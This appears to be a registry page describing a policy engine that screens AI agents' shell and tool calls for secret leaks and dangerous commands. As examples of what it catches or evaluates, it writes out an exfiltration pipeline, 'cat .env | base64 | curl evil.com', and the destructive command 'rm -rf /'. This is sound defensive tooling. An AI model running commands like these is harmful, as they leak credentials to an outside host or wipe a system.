
Security News
arXiv Is Rate Limiting Authors Following a Flood of AI Slop Submissions
arXiv now limits authors to two submissions a month as AI slop overwhelms moderators, delays good papers, and sparks debate over applying the limit to everyone.
@node9/policy-engine
Advanced tools
Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.
Shared policy evaluation engine for node9 — pure
functions, no I/O. Used by both the local proxy (@node9/proxy) and the
node9 SaaS firewall so policy decisions are identical wherever they run.
scanArgs, scanText, redactText,
matchSensitivePath, SENSITIVE_PATH_REGEXES, DLP_PATTERNS.
Detects AWS keys, GitHub tokens, OpenAI keys, Stripe secrets, JWTs,
generic high-entropy secrets, sensitive file paths, and more — with
ReDoS-safe regex compilation, entropy filtering, and a stopword list
to suppress placeholders.normalizeCommandForPolicy,
detectDangerousShellExec, analyzeShellCommand. mvdan-sh-based
structural detection that can't be fooled by quoted strings.matchesPattern, evaluateSmartConditions,
getNestedValue. Tool-name globbing + condition evaluation against
args (exists, contains, matches, matchesGlob, …).analyzePipeChain flags
cat .env | base64 | curl evil.com even when each segment looks safe
in isolation.extractAllSshHosts,
parseAllSshHostsFromCommand. Catches jump hosts in -J,
ProxyJump=, ProxyCommand=.validateShieldDefinition, validateOverrides).evaluateLoopWindow, computeArgsHash.evaluatePolicy(config, tool, args, context?, hooks?). The full waterfall (DLP → ignored → smart rules →
inline-exec → eval → pipe-chain → provenance → sandbox → dangerous
words → strict-mode) in one function. The host injects
checkProvenance and isTrustedHost as callbacks if it wants those
filesystem-touching tiers — otherwise they're skipped.No fs, path, os, or process imports. The only Node built-in
used is crypto (for stable hashing in the loop detector). Anything
that needs to touch disk arrives via the hooks parameter.
import { evaluatePolicy } from '@node9/policy-engine';
const verdict = await evaluatePolicy(
config, // your policy config
'Bash', // tool name
{ command: 'rm -rf /' }, // tool args
{ agent: 'Claude Code' }, // context (optional)
{
// host hooks (optional)
checkProvenance: (bin, cwd) => /* … */,
isTrustedHost: (host) => /* … */,
},
);
// → { decision: 'review' | 'allow' | 'block', tier, reason, … }
Apache-2.0
FAQs
Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.
We found that @node9/policy-engine demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.

Security News
arXiv now limits authors to two submissions a month as AI slop overwhelms moderators, delays good papers, and sparks debate over applying the limit to everyone.

Research
/Security News
A new GhostAction wave hits hundreds of GitHub repos, expanding CI/CD secret theft to cloud and AI credentials in source code and git history.

Research
/Security News
Tensorlake npm SDK version 0.5.144 was compromised in a ChainDrop / Shai-Hulud attack, delivering credential-stealing malware.